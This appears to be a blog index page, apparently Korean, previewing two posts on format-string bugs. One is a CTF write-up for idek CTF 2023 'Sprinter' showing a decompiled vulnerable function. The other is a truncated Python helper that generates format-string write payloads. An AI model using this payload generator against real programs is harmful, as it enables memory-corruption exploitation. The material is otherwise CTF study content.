fsb(2)
-
[CTF write up] idek CTF 2023 - Sprinter : Wierd Format String Bug
int vuln() { size_t len; // rax char buf[264]; // [rsp+0h] [rbp-110h] BYREF unsigned __int64 v3; // [rsp+108h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Enter your string into my buffer, located at %p: ", buf); fgets(buf, 256, stdin); len = (size_t)strchr(buf, 'n'); if ( !len ) { len = strlen(buf); if ( len
2023.01.16 -
[바이너리 익스플로잇] Format-String-Bug 페이로드 생성 함수 : FSB Payload Generator Fcuntion
def gen_fsb_payload(addr, addr2, N): a1 = str(hex(addr)) a1 = a1[2:len(a1)] a3 = int(a1[:4],16) a2 = int(a1[4:len(a1)-4],16) a1 = int(a1[8:len(a1)],16) print(f'{hex(a1)}\n{hex(a2)}\n{hex(a3)}\n') def create_payload(A, B, fs): rs_len = len(str(A))+ 5 + len(fs) rs = f'%{A}d%XX${fs}' + 'P' * (8 - rs_len % 8) fn = str(N+(len(rs)//8)) rs = rs.replace('XX',fn) if int(fn) > 9 : rs = rs + 'P' return rs...
2022.02.04